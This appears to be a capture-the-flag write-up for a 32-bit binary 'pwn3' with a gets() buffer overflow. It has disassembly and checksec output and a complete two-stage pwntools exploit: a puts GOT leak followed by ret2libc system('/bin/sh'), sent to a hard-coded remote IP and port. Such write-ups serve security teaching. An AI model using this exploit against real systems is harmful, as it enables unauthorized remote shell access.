[+] First of all check the binary file and execute
$ file pwn3pwn3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ce51da8814e47e16a2df43c69d5c6ee12cc9bbd8, not stripped
$./pwn3I am hungry you have to feed me to win this challenge.
Now give me some sweet desert.```AAAA```
[+] Let's see in GDB. The ELF is not stripped so we can disassemble easily.
gdb-peda$ disas main```   Dump of assembler code for function main:   0x0804847d <+0>:	push   ebp   0x0804847e <+1>:	mov    ebp,esp   0x08048480 <+3>:	and    esp,0xfffffff0   0x08048483 <+6>:	sub    esp,0x90   0x08048489 <+12>:	mov    eax,ds:0x80497e0   0x0804848e <+17>:	mov    DWORD PTR [esp+0xc],0x0   0x08048496 <+25>:	mov    DWORD PTR [esp+0x8],0x2   0x0804849e <+33>:	mov    DWORD PTR [esp+0x4],0x0   0x080484a6 <+41>:	mov    DWORD PTR [esp],eax   0x080484a9 <+44>:	call   0x8048370 <setvbuf@plt>   0x080484ae <+49>:	mov    DWORD PTR [esp],0x8048570   0x080484b5 <+56>:	call   0x8048340 <puts@plt>   0x080484ba <+61>:	mov    DWORD PTR [esp],0x80485ac   0x080484c1 <+68>:	call   0x8048340 <puts@plt>   0x080484c6 <+73>:	lea    eax,[esp+0x10]   0x080484ca <+77>:	mov    DWORD PTR [esp],eax   0x080484cd <+80>:	call   0x8048330 <gets@plt>   0x080484d2 <+85>:	mov    eax,0x0   0x080484d7 <+90>:	leave     0x080484d8 <+91>:	ret    End of assembler dump.```
[+] gets() function is being used. gets() is dangerous because it provides a way of buffer overflow attack or an error. The function gets() work in a way that it reads data form standard input stream until a new line is found.Possibly a buffer overflow.
0x080484cd <+80>:	call   0x8048330 <gets@plt>
[+] Let's check sec of binary.
gdb-peda$ checksec ```CANARY    : disabledFORTIFY   : disabledNX        : ENABLEDPIE       : disabledRELRO     : disabled```
NX is enabled this suggests that if there is buffer overflow, we will use the ret2libc 
[+] Let's try to crash the binary:
$ python -c 'print "A" *300' | ./pwn3
I am hungry you have to feed me to win this challenge 
Now give me some sweet desert```Segmentation fault```
It is clear that it is buffer overflow.
Of course this would be easy to run locally, working with something like this:
```from pwn import *
buf = ""buf += "A"*140                          #OVERWRITE STACKbuf += p32(system_addr)         #OVERWRITE EIP with system acquired through: readelf -s your_libc | grep putsbuf += p32(fake_return)           #FAKE RETURN  buf += p32(bin_sh)                  #ARGUMENT OF SYSTEM with plt entry of puts acquired through: strings -a -t x your_libc | grep "/bin/sh"```
Note: In 32-bit architecture arguments are passed on the stack so we do not need gadgets.False return is necessary because the system() function needs to be returned and without this your payload would be misaligned on the stack
[+] We know there is a buffer overflow and that nx is enabled. To make the NX bypass, we can use ret2libc.but ... the big question is how to do this remotely?How to know which libc is being used on the remote host?
1 - First of all we need to know that we will have to leak the libc address, this will also give us an advantage over ALSR if it is active on the remote host. For this to happen you need to overwrite the EIP with the PLT of puts and pass as an argument the GOT of some function. In our case I used the puts
2 - Knowing the address of libc, we can find out which libc the binary is using on the remote server. See https://github.com/niklasb/libc-database
3 - Now with the right libc, we can properly calculate the libc base and extract the necessary offsets for /bin/sh, system, puts. With the address of the libc base added to the offsets of / bin / sh and system respectively we will arrive at the complete address of where they are
4 - Do you remember the fake return? The difference is that we now need to point it to main, because the exploit needs to work in two parts.Leak an address from libc and return to main + ret2libc == got shell
See exploit below:
```import structimport socketfrom pwn import *
########################## [REMOTE EXPLOIT] by M4ST3R3K ##########################                                  ###[PWN3]###
context(arch = 'i386', os = 'linux', endian = 'little')
#################### STAGE1 ####################
puts_plt = 0x8048340         #objdump -D pwn3 | grep putsputs_got = 0x80497b0        #objdump -R pwn3 | grep putsmain = 0x804847d              #objdump -D pwn3 | grep main
buf = ""buf += "A"*140                   #junkbuf += p32(puts_plt)          #plt entry of putsbuf += p32(main)               #return to mainbuf += p32(puts_got)         #got entry of puts
s = remote('104.154.106.182', 4567)
log.info("Stage 1: ...Leaking Memory")
print ''
print s.recv()
s.sendline(buf)
received = s.recvline()
print received
leaked_puts_got = received[:4].strip().ljust(4, '\x00')
leaked_puts_got = u32(leaked_puts_got)
addrs = hex(leaked_puts_got)
leaked_puts_got = int(addrs, 16)
log.success("Leaked remote libc address: " + addrs)
print ''
#################### STAGE2 ####################
#---> libc obtained through the leak of the got puts address <---##libc6_2.19-0ubuntu6.14_i386
#---> dump of offsets obtained with libc-database <--- # https://github.com/niklasb/libc-database#offset___libc_start_main_ret = 0x19af3#offset_system = 0x00040310#offset_dup2 = 0x000ddda0#offset_read = 0x000dd3e0#offset_write = 0x000dd460#offset_str_bin_sh = 0x162d4c 
offset_bin_sh = 0x162d4c offset_system = 0x40310offset_puts = 0x657e0libc_base = leaked_puts_got - offset_puts
system_addr = libc_base + offset_systemfake_addr = 0xbeefdeadbin_sh_addr = libc_base + offset_bin_sh
buf = ""buf += "A"*132      #junk (in the second part of the exploration the payload had to be aligned. Obtained through debugger).buf += p32(system_addr)       #system into libcbuf += p32(fake_addr)           #fake return addressbuf += p32(bin_sh_addr)       #/bin/sh into libc
log.info("Stage 2: ...Obtaining Shell ")
print ''
s.sendline(buf)
s.interactive()```
